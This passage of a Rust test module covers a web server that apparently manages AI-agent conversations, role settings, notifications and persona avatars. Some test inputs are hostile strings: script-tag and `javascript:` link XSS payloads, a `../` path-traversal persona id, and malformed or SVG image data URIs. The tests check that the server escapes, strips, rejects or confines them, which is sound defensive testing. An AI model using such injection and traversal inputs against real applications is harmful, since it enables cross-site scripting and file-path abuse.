14357        let body = serde_json::json!({
14358            "revision": rev,
14359            "roles": { "judges": ["b"] },
14360            "counts": { "implementers": 1, "advisors": 0 }
14361        })
14362        .to_string();
14363        let res = f.put("/api/settings/roles", &body).await;
14364        assert_eq!(res.status, 200, "{}", res.body);
14365        let text = std::fs::read_to_string(&machine).expect("machine");
14366        assert_eq!(
14367            text,
14368            "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
14369        );
14370        let after = f.get("/api/settings").await.json();
14371        assert_eq!(count(&after, "implementers")["value"], 1);
14372        assert_eq!(count(&after, "implementers")["backups"], 1);
14373        assert_eq!(count(&after, "advisors")["value"], 0);
14374        let before = std::fs::read_to_string(&machine).expect("machine");
14375        let rev = after["revision"].as_str().expect("revision").to_owned();
14376        for counts in [
14377            serde_json::json!({ "judges": 0 }),
14378            serde_json::json!({ "judges": "x" }),
14379            serde_json::json!({ "judges": 2.5 }),
14380            serde_json::json!({ "judges": -1 }),
14381            serde_json::json!({ "reviewers": 3 }),
14382            serde_json::json!({ "bogus": 3 }),
14383        ] {
14384            let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
14385            let res = f.put("/api/settings/roles", &body).await;
14386            assert_eq!(res.status, 422, "{counts}: {}", res.body);
14387            assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
14388        }
14389    }
14390
14391    #[tokio::test]
14392    async fn settings_put_refuses_without_touching_the_file() {
14393        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
14394        let (_tmp, repo, machine) = settings_dirs(
14395            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
14396            Some(machine_text),
14397        );
14398        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
14399        let rev = f.get("/api/settings").await.json()["revision"]
14400            .as_str()
14401            .expect("revision")
14402            .to_owned();
14403        for roles in [
14404            serde_json::json!({ "judges": ["nope"] }),
14405            serde_json::json!({ "reviewers": ["b"] }),
14406            serde_json::json!({ "bogus": ["a"] }),
14407        ] {
14408            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
14409            let res = f.put("/api/settings/roles", &body).await;
14410            assert_eq!(res.status, 422, "{roles}: {}", res.body);
14411            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
14412            assert_eq!(
14413                std::fs::read_to_string(&machine).expect("machine"),
14414                machine_text
14415            );
14416        }
14417    }
14418
14419    #[tokio::test]
14420    async fn repos_list_returns_name_and_path_for_every_configured_root() {
14421        let tmp = TempDir::new().expect("tempdir");
14422        let repo = tmp.path().join("repo");
14423        std::fs::create_dir_all(&repo).expect("repo dir");
14424        let root = tmp.path().join("root");
14425        make_checkout(&root, "github.com", "yukimemi", "magi");
14426        std::fs::write(
14427            repo.join("magi.toml"),
14428            format!(
14429                "[repos]\nroots = [{:?}]\n",
14430                root.to_string_lossy().into_owned()
14431            ),
14432        )
14433        .expect("write magi.toml");
14434
14435        let f = Fixture::with_repo(repo).await;
14436        let res = f.get("/api/repos").await;
14437        assert_eq!(res.status, 200, "{}", res.body);
14438        let list = res.json();
14439        let repos = list.as_array().expect("an array");
14440        assert_eq!(repos.len(), 1);
14441        assert_eq!(repos[0]["name"], "yukimemi/magi");
14442        assert!(
14443            repos[0]["path"]
14444                .as_str()
14445                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
14446            "{list}"
14447        );
14448    }
14449
14450    #[tokio::test]
14451    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
14452        let tmp = TempDir::new().expect("tempdir");
14453        let repo = tmp.path().join("repo");
14454        std::fs::create_dir_all(&repo).expect("repo dir");
14455        let root = tmp.path().join("root");
14456        make_checkout(&root, "github.com", "yukimemi", "magi");
14457        std::fs::write(
14458            repo.join("magi.toml"),
14459            format!(
14460                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
14461                root.to_string_lossy().into_owned()
14462            ),
14463        )
14464        .expect("write magi.toml");
14465
14466        let f = Fixture::with_repo(repo).await;
14467        let first = f.get("/api/repos").await;
14468        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
14469
14470        // A second checkout appears; within the TTL the cached answer must
14471        // not notice it.
14472        make_checkout(&root, "github.com", "yukimemi", "rvpm");
14473        let second = f.get("/api/repos").await;
14474        assert_eq!(
14475            second.json().as_array().map(Vec::len),
14476            Some(1),
14477            "a fresh cache must not rescan inside the TTL"
14478        );
14479
14480        let refreshed = f.get("/api/repos?refresh=1").await;
14481        assert_eq!(
14482            refreshed.json().as_array().map(Vec::len),
14483            Some(2),
14484            "an explicit refresh must rescan even inside the TTL"
14485        );
14486    }
14487
14488    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
14489    /// string, declared straight in a repository's own `magi.toml` rather
14490    /// than the operator's real roster. No real agent CLI is spawned - `sh`
14491    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
14492    /// this is safe to run over a real HTTP round trip.
14493    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
14494
14495    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
14496    /// real `Config::discover` to find an agent - `talk::begin` resolves one
14497    /// even though it takes no turn, and `talk_say` invokes one.
14498    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
14499        let tmp = TempDir::new().expect("tempdir");
14500        let repo = tmp.path().join("repo");
14501        std::fs::create_dir_all(&repo).expect("repo dir");
14502        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14503        let f = Fixture::with_repo(repo.clone()).await;
14504        (tmp, repo, f)
14505    }
14506
14507    #[tokio::test]
14508    async fn posting_a_talk_with_remembered_choices_is_soft() {
14509        let (_tmp, _repo, f) = talk_fixture().await;
14510
14511        let good = f
14512            .post("/api/talks", Some(r#"{"persona":"rei","implementers":1}"#))
14513            .await;
14514        assert_eq!(good.status, 201, "{}", good.body);
14515        assert_eq!(good.json()["persona"], "rei");
14516
14517        // Wrong values and wrong types are dropped one by one, never a 4xx.
14518        let stale = f
14519            .post(
14520                "/api/talks",
14521                Some(r#"{"preferred_agent":"gone","persona":"nobody","implementers":7}"#),
14522            )
14523            .await;
14524        assert_eq!(stale.status, 201, "{}", stale.body);
14525        let v = stale.json();
14526        assert_eq!(v["implementers"], 1);
14527        assert_ne!(v["persona"], "nobody");
14528        let typed = f
14529            .post(
14530                "/api/talks",
14531                Some(r#"{"preferred_agent":3,"persona":[],"implementers":"x"}"#),
14532            )
14533            .await;
14534        assert_eq!(typed.status, 201, "{}", typed.body);
14535
14536        // The strict `agent` field still refuses an unknown id.
14537        let strict = f.post("/api/talks", Some(r#"{"agent":"gone"}"#)).await;
14538        assert!(
14539            !strict.status.to_string().starts_with('2'),
14540            "{}",
14541            strict.body
14542        );
14543    }
14544
14545    #[tokio::test]
14546    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
14547        let (_tmp, _repo, f) = talk_fixture().await;
14548
14549        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
14550        // is the ordinary way a phone opens a talk.
14551        let opened = f.post("/api/talks", None).await;
14552        assert_eq!(opened.status, 201, "{}", opened.body);
14553        let body = opened.json();
14554        assert_eq!(body["status"], "open");
14555        assert_eq!(
14556            body["turns"].as_array().unwrap().len(),
14557            0,
14558            "opening takes no agent turn: there is nothing yet to answer"
14559        );
14560
14561        // An explicit empty object is the same request as none at all.
14562        let also_opened = f.post("/api/talks", Some("{}")).await;
14563        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
14564
14565        let listed = f.get("/api/talks").await.json();
14566        assert_eq!(listed.as_array().unwrap().len(), 2);
14567    }
14568
14569    #[tokio::test]
14570    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
14571        let tmp = TempDir::new().expect("tempdir");
14572        let repo = tmp.path().join("repo");
14573        std::fs::create_dir_all(&repo).expect("repo dir");
14574        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
14575        std::fs::write(
14576            repo.join("magi.toml"),
14577            format!("{MOCK_AGENT_TOML}\n{second}"),
14578        )
14579        .expect("write magi.toml");
14580        let home = TempDir::new().expect("temp home");
14581        let talks = Talks::at(home.path().join("talks"));
14582        let ui = Arc::new(
14583            Ui::new(
14584                Queue::at(home.path().join("queue")),
14585                Questions::at(home.path().join("questions")),
14586                talks.clone(),
14587                home.path().join("runs"),
14588                home.path().to_path_buf(),
14589                repo.clone(),
14590            )
14591            .with_worktrees_root(home.path().join("wt")),
14592        );
14593        let cfg = config_for(&repo).await.expect("discover config");
14594        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14595        let id = talk.id.clone();
14596        let call = |agent: &str| {
14597            talk_agent(
14598                State(Arc::clone(&ui)),
14599                Path(id.clone()),
14600                Json(TalkAgent {
14601                    agent: agent.to_owned(),
14602                }),
14603            )
14604        };
14605
14606        let unknown = call("nobody").await.expect_err("unknown agent");
14607        assert_eq!(
14608            unknown.status,
14609            StatusCode::BAD_REQUEST,
14610            "{}",
14611            unknown.message
14612        );
14613
14614        {
14615            // Nothing refused so far took a claim, so the guard is free to take
14616            // and holding it is what makes the talk busy.
14617            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14618            let busy = call("second").await.expect_err("busy talk");
14619            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14620            assert!(
14621                busy.message.contains("a talk turn is running"),
14622                "{}",
14623                busy.message
14624            );
14625            drop(guard);
14626        }
14627        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
14628
14629        let Json(view) = call("second").await.expect("switch");
14630        assert_eq!(view.talk.agent, "second");
14631        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
14632        let saved = talks.get(&id).expect("reload");
14633        assert_eq!(saved.agent, "second");
14634        assert_eq!(saved.turns.len(), 1);
14635        assert!(!view.thinking);
14636        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14637        for agent in ["mock", "second"] {
14638            let Json(view) = call(agent).await.expect("immediate consecutive change");
14639            assert_eq!(view.talk.agent, agent);
14640            assert!(!view.thinking);
14641            assert!(!ui.is_thinking(&id));
14642        }
14643
14644        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
14645            .await
14646            .expect("detail");
14647        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
14648        assert_eq!(roster, ["mock", "second"]);
14649
14650        let mut closed = talks.get(&id).expect("reload");
14651        talk::close(&mut closed, &talks).expect("close");
14652        let refused = call("mock").await.expect_err("closed talk");
14653        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
14654        assert!(
14655            refused.message.contains("takes no more turns"),
14656            "{}",
14657            refused.message
14658        );
14659    }
14660
14661    #[tokio::test]
14662    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
14663        let tmp = TempDir::new().expect("tempdir");
14664        let repo = tmp.path().join("repo");
14665        std::fs::create_dir_all(&repo).expect("repo dir");
14666        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
14667        let home = TempDir::new().expect("temp home");
14668        let talks = Talks::at(home.path().join("talks"));
14669        let ui = Arc::new(
14670            Ui::new(
14671                Queue::at(home.path().join("queue")),
14672                Questions::at(home.path().join("questions")),
14673                talks.clone(),
14674                home.path().join("runs"),
14675                home.path().to_path_buf(),
14676                repo.clone(),
14677            )
14678            .with_worktrees_root(home.path().join("wt")),
14679        );
14680        let cfg = config_for(&repo).await.expect("discover config");
14681        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14682        let id = talk.id.clone();
14683        let call = |n: u8| {
14684            talk_implementers(
14685                State(Arc::clone(&ui)),
14686                Path(id.clone()),
14687                Json(TalkImplementers { implementers: n }),
14688            )
14689        };
14690
14691        for bad in [0u8, 4] {
14692            let e = call(bad).await.expect_err("out of range");
14693            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
14694        }
14695        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
14696
14697        {
14698            // Nothing refused so far took a claim, so the guard is free to take
14699            // and holding it is what makes the talk busy.
14700            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
14701            let busy = call(2).await.expect_err("busy talk");
14702            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
14703            assert!(
14704                busy.message.contains("a talk turn is running"),
14705                "{}",
14706                busy.message
14707            );
14708            drop(guard);
14709        }
14710
14711        let Json(view) = call(3).await.expect("switch");
14712        assert_eq!(view.talk.implementers, 3);
14713        assert!(talks.get(&id).expect("reload").implementers_dirty);
14714        assert!(!view.thinking);
14715        assert!(!ui.is_thinking(&id), "idle response must release the claim");
14716        for n in [1, 2, 3] {
14717            let Json(view) = call(n).await.expect("immediate consecutive change");
14718            assert_eq!(view.talk.implementers, n);
14719            assert!(!view.thinking);
14720            assert!(!ui.is_thinking(&id));
14721        }
14722
14723        let mut closed = talks.get(&id).expect("reload");
14724        talk::close(&mut closed, &talks).expect("close");
14725        let e = call(2).await.expect_err("closed talk");
14726        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
14727        assert!(e.message.contains("takes no more turns"), "{}", e.message);
14728    }
14729
14730    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
14731    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
14732        let tmp = TempDir::new().expect("tempdir");
14733        let repo = tmp.path().join("repo");
14734        std::fs::create_dir_all(&repo).expect("repo dir");
14735        std::fs::write(
14736            repo.join("magi.toml"),
14737            format!("{MOCK_AGENT_TOML}\n{extra}"),
14738        )
14739        .expect("write magi.toml");
14740        let home = TempDir::new().expect("temp home");
14741        let talks = Talks::at(home.path().join("talks"));
14742        let ui = Arc::new(
14743            Ui::new(
14744                Queue::at(home.path().join("queue")),
14745                Questions::at(home.path().join("questions")),
14746                talks.clone(),
14747                home.path().join("runs"),
14748                home.path().to_path_buf(),
14749                repo.clone(),
14750            )
14751            .with_worktrees_root(home.path().join("wt")),
14752        );
14753        let cfg = config_for(&repo).await.expect("discover config");
14754        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
14755        (tmp, home, ui, talk.id, repo)
14756    }
14757
14758    #[tokio::test]
14759    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
14760        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14761        let mut conversation = ui.talks.get(&id).unwrap();
14762        talk::record(
14763            &mut conversation,
14764            &ui.talks,
14765            "# Update on a task you filed\noperator words",
14766            vec![],
14767        )
14768        .unwrap();
14769        // Simulate an old operator record; headings do not prove authorship.
14770        conversation.turns[0].sender = None;
14771        conversation.turns[0].messages.clear();
14772        ui.talks.put(&mut conversation).unwrap();
14773        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
14774        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
14775        talk::drain(&mut conversation, &ui.talks).unwrap();
14776        talk::record_reply(
14777            &mut conversation,
14778            &ui.talks,
14779            "about that report",
14780            vec![],
14781            Some(talk::ReplyTarget {
14782                turn: 1,
14783                message: 1,
14784            }),
14785        )
14786        .unwrap();
14787        conversation.turns[2].messages[0]
14788            .reply
14789            .as_mut()
14790            .unwrap()
14791            .sender = None;
14792        conversation.turns.push(talk::Turn {
14793            sender: Some(talk::Sender::Persona),
14794            who: talk::Who::Agent,
14795            body: "magi: actual persona words".into(),
14796            at: Timestamp::now(),
14797            attachments: vec![],
14798            usage: None,
14799            breaks: None,
14800            messages: vec![],
14801            posted_by: None,
14802        });
14803        ui.talks.put(&mut conversation).unwrap();
14804        let view = TalkView::with_config(
14805            ui.talks.get(&id).unwrap(),
14806            false,
14807            None,
14808            &ui.home,
14809            &ui.references,
14810        );
14811        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
14812        assert_eq!(
14813            view.talk.turns[1].messages[0].sender,
14814            Some(talk::Sender::Operator)
14815        );
14816        assert_eq!(
14817            view.talk.turns[1].messages[1].sender,
14818            Some(talk::Sender::Magi)
14819        );
14820        assert_eq!(
14821            view.talk.turns[2].messages[0]
14822                .reply
14823                .as_ref()
14824                .unwrap()
14825                .sender,
14826            Some(talk::Sender::Magi)
14827        );
14828        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
14829        assert_eq!(view.turn_messages_md[0].len(), 1);
14830        assert!(view.turn_messages_md[0][0].is_none());
14831        assert!(view.turn_messages_md[1][0].is_none());
14832        assert!(view.turn_messages_md[1][1].is_some());
14833    }
14834
14835    #[tokio::test]
14836    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
14837        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14838        let mut conversation = ui.talks.get(&id).unwrap();
14839        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
14840        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14841        talk::queue_notice(
14842            &mut conversation,
14843            &ui.talks,
14844            &body,
14845            "watch:123",
14846            &|_| false,
14847            None,
14848            display.clone(),
14849        )
14850        .unwrap();
14851        assert!(
14852            !talk::queue_notice(
14853                &mut conversation,
14854                &ui.talks,
14855                &body,
14856                "watch:123",
14857                &|_| false,
14858                None,
14859                display.clone()
14860            )
14861            .unwrap()
14862        );
14863        let saved = ui.talks.get(&id).unwrap();
14864        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
14865        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
14866        assert!(
14867            view.talk.turns[0].messages[0].display.is_none(),
14868            "operator copy stays literal"
14869        );
14870        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
14871        assert!(view.turn_messages_md[0][0].is_none());
14872        let queued_md = view.pending_messages_md[0].clone();
14873        assert_eq!(
14874            queued_md,
14875            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
14876        );
14877        talk::drain(&mut conversation, &ui.talks).unwrap();
14878        talk::record_reply(
14879            &mut conversation,
14880            &ui.talks,
14881            "Explain",
14882            vec![],
14883            Some(talk::ReplyTarget {
14884                turn: 1,
14885                message: 0,
14886            }),
14887        )
14888        .unwrap();
14889        let mut saved = ui.talks.get(&id).unwrap();
14890        assert_eq!(saved.turns[1].messages[0].body, body);
14891        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
14892        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
14893        assert!(!reply.excerpt.contains("automatic report"));
14894        reply.excerpt = body.chars().take(240).collect(); // old saved quote
14895        saved.turns[1].messages[0].display = None; // old MAGI send
14896        ui.talks.put(&mut saved).unwrap();
14897        let view = TalkView::with_config(
14898            ui.talks.get(&id).unwrap(),
14899            false,
14900            None,
14901            &ui.home,
14902            &ui.references,
14903        );
14904        assert_eq!(view.turn_messages_md[1][0], queued_md);
14905        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
14906        assert!(
14907            !view.talk.turns[2].messages[0]
14908                .reply
14909                .as_ref()
14910                .unwrap()
14911                .excerpt
14912                .contains("automatic report")
14913        );
14914        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
14915    }
14916
14917    #[tokio::test]
14918    async fn consultation_display_hides_directives_in_queue_and_history() {
14919        for node in [
14920            "implement",
14921            crate::land::APPROVAL_NODE,
14922            crate::github_text::ASK_NODE,
14923        ] {
14924            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
14925            let mut question = Question::new(
14926                "run-123".into(),
14927                node.into(),
14928                "seat-1".into(),
14929                "Which backend?".into(),
14930                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
14931                vec!["SQLite".into(), "Redis".into()],
14932            );
14933            ui.questions.put(&mut question).unwrap();
14934            let body = crate::prompt::chat_consult(&question);
14935            let mut conversation = ui.talks.get(&id).unwrap();
14936            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
14937            assert!(
14938                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
14939            );
14940            conversation = ui.talks.get(&id).unwrap();
14941            assert_eq!(conversation.pending_messages[0].body, body);
14942            assert!(body.contains("magi answer"));
14943            let mut legacy_pending = conversation.clone();
14944            legacy_pending.pending_messages[0].display = None;
14945            let legacy_view =
14946                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
14947            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
14948            assert!(legacy_md.contains("Question consultation"));
14949            assert!(!legacy_md.contains("magi answer"));
14950            let view =
14951                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14952            assert!(
14953                view.turn_messages_md[0][0].is_none(),
14954                "operator copy stays literal"
14955            );
14956            let queued_md = view.pending_messages_md[0].clone().unwrap();
14957            let rendered = serde_json::to_string(&queued_md).unwrap();
14958            for visible in [
14959                "Which backend?",
14960                "Context",
14961                "storage",
14962                "SQLite",
14963                "Redis",
14964                "<script>literal</script>",
14965            ] {
14966                assert!(rendered.contains(visible), "missing {visible}");
14967            }
14968            for directive in [
14969                "What to do",
14970                "magi answer",
14971                "Never answer it yourself",
14972                "Do not edit the repository",
14973            ] {
14974                assert!(!rendered.contains(directive), "exposed {directive}");
14975            }
14976            assert_eq!(
14977                view.talk.pending_messages[0].display,
14978                Some(crate::prompt::chat_consult_display(&question))
14979            );
14980            talk::drain(&mut conversation, &ui.talks).unwrap();
14981            let view =
14982                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
14983            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
14984            assert_eq!(conversation.turns[1].messages[0].body, body);
14985
14986            // Historical consultations lack a snapshot: show a safe placeholder
14987            // rather than parsing instructions or reconstructing mutable facts.
14988            conversation.turns[1].messages[0].display = None;
14989            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
14990            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
14991            assert!(legacy.contains("Question consultation"));
14992            assert!(!legacy.contains("magi answer"));
14993            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
14994        }
14995    }
14996
14997    #[test]
14998    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
14999        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
15000        let (body, mut display) =
15001            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
15002        display.facts = facts.into();
15003        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
15004        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
15005        let json = serde_json::to_string(&nodes).unwrap();
15006        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
15007            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
15008        }
15009        assert!(json.contains("<script>alert(1)</script>"));
15010        assert!(!json.contains("javascript:"));
15011        assert!(!json.contains("Tell the operator"));
15012        assert!(!json.contains("untrusted"));
15013        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
15014        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
15015        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
15016        assert_eq!(
15017            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
15018            md::to_nodes("# Status", &md::ImageBase::None),
15019        );
15020    }
15021
15022    #[tokio::test]
15023    async fn notification_display_recovers_exact_legacy_completion_references() {
15024        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
15025        let mut conversation = ui.talks.get(&id).unwrap();
15026        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
15027            id: "task-123",
15028            title: "Change",
15029            status: "done",
15030            reason: None,
15031            run: Some("run-123"),
15032            pr: None,
15033            summary: Some("Merge state unknown"),
15034        });
15035        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
15036        conversation.turns[0].sender = None;
15037        conversation.turns[0].messages.clear();
15038        conversation.turns[0].breaks = None;
15039        conversation.pending = body.clone();
15040        conversation
15041            .completion_notices
15042            .push(crate::chat_notify::CompletionReference {
15043                task: "task-123".into(),
15044                run: Some("run-123".into()),
15045                notice: body.clone(),
15046            });
15047        ui.talks.put(&mut conversation).unwrap();
15048        let view = TalkView::with_config(
15049            ui.talks.get(&id).unwrap(),
15050            false,
15051            None,
15052            &ui.home,
15053            &ui.references,
15054        );
15055        assert_eq!(
15056            view.talk.turns[0].messages[0].display,
15057            Some(display.clone())
15058        );
15059        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15060        assert_eq!(
15061            view.talk.turns[0].messages[0].sender,
15062            Some(talk::Sender::Magi)
15063        );
15064        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15065        conversation.completion_notices[0]
15066            .notice
15067            .push_str("different");
15068        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15069        assert!(view.talk.turns[0].messages.is_empty());
15070        assert!(view.talk.pending_messages.is_empty());
15071    }
15072
15073    #[tokio::test]
15074    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15075        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15076        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15077            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15078        ))
15079        .await;
15080        let path = avatar_setting_path(home.path(), Some("rei"));
15081        let orphan = avatar_setting_path(home.path(), Some("removed"));
15082        save_icon_file(&orphan, icon).unwrap();
15083        for (saved, expected) in [
15084            (icon, "custom"),
15085            ("builtin", "builtin"),
15086            ("data:image/png;base64,!!!!", "inherit"),
15087            ("data:image/png;base64,PGh0bWw+", "inherit"),
15088            ("/tmp/avatar.png", "inherit"),
15089        ] {
15090            atomic_icon_write(&path, saved).unwrap();
15091            let catalog =
15092                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15093                    .await
15094                    .unwrap()
15095                    .0;
15096            let personas = catalog["personas"].as_array().unwrap();
15097            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15098            assert_eq!(rei["override_state"], expected);
15099            assert_eq!(rei["has_config_icon"], true);
15100            assert_eq!(rei["is_orphan"], false);
15101            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15102            assert_eq!(removed["override_state"], "custom");
15103            assert_eq!(removed["is_orphan"], true);
15104            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15105            assert_eq!(default["override_state"], "inherit");
15106            assert_eq!(default["has_config_icon"], false);
15107            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15108            assert_eq!(
15109                effective.as_deref(),
15110                Some(if expected == "builtin" { "" } else { icon })
15111            );
15112        }
15113    }
15114
15115    #[tokio::test]
15116    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15117        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15118        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15119            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15120        ))
15121        .await;
15122        let target = |id: Option<&str>| AvatarSettingsQuery {
15123            persona: id.map(str::to_owned),
15124            ..Default::default()
15125        };
15126        let original_config = config_for(&repo).await.unwrap();
15127        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15128        let original_prompt = persona::section_for(&original_persona, None);
15129        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15130            .await
15131            .unwrap()
15132            .0;
15133        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15134            let _ = avatar_settings_put(
15135                State(ui.clone()),
15136                Query(target(persona)),
15137                Json(MagiIconUpload { icon: icon.into() }),
15138            )
15139            .await
15140            .unwrap();
15141            let path = avatar_setting_path(home.path(), persona);
15142            assert!(path.starts_with(home.path().join("avatars")));
15143            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15144            for bad in [
15145                "/tmp/image.png".to_owned(),
15146                "data:image/png;base64,!!!!".to_owned(),
15147                "data:image/png;base64,PGh0bWw+".to_owned(),
15148                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15149                format!(
15150                    "data:image/png;base64,{}",
15151                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15152                ),
15153            ] {
15154                assert!(
15155                    avatar_settings_put(
15156                        State(ui.clone()),
15157                        Query(target(persona)),
15158                        Json(MagiIconUpload { icon: bad })
15159                    )
15160                    .await
15161                    .is_err()
15162                );
15163                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15164            }
15165        }
15166        assert!(read_magi_icon(home.path()).is_none());
15167        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15168        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15169            .await
15170            .unwrap()
15171            .0;
15172        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15173        assert_ne!(
15174            before
15175                .personas
15176                .iter()
15177                .find(|p| p.id == "magi")
15178                .unwrap()
15179                .avatar,
15180            after
15181                .personas
15182                .iter()
15183                .find(|p| p.id == "magi")
15184                .unwrap()
15185                .avatar
15186        );
15187        let restarted = Arc::new(Ui::new(
15188            Queue::at(home.path().join("queue")),
15189            Questions::at(home.path().join("questions")),
15190            Talks::at(home.path().join("talks")),
15191            home.path().join("runs"),
15192            home.path().to_owned(),
15193            repo,
15194        ));
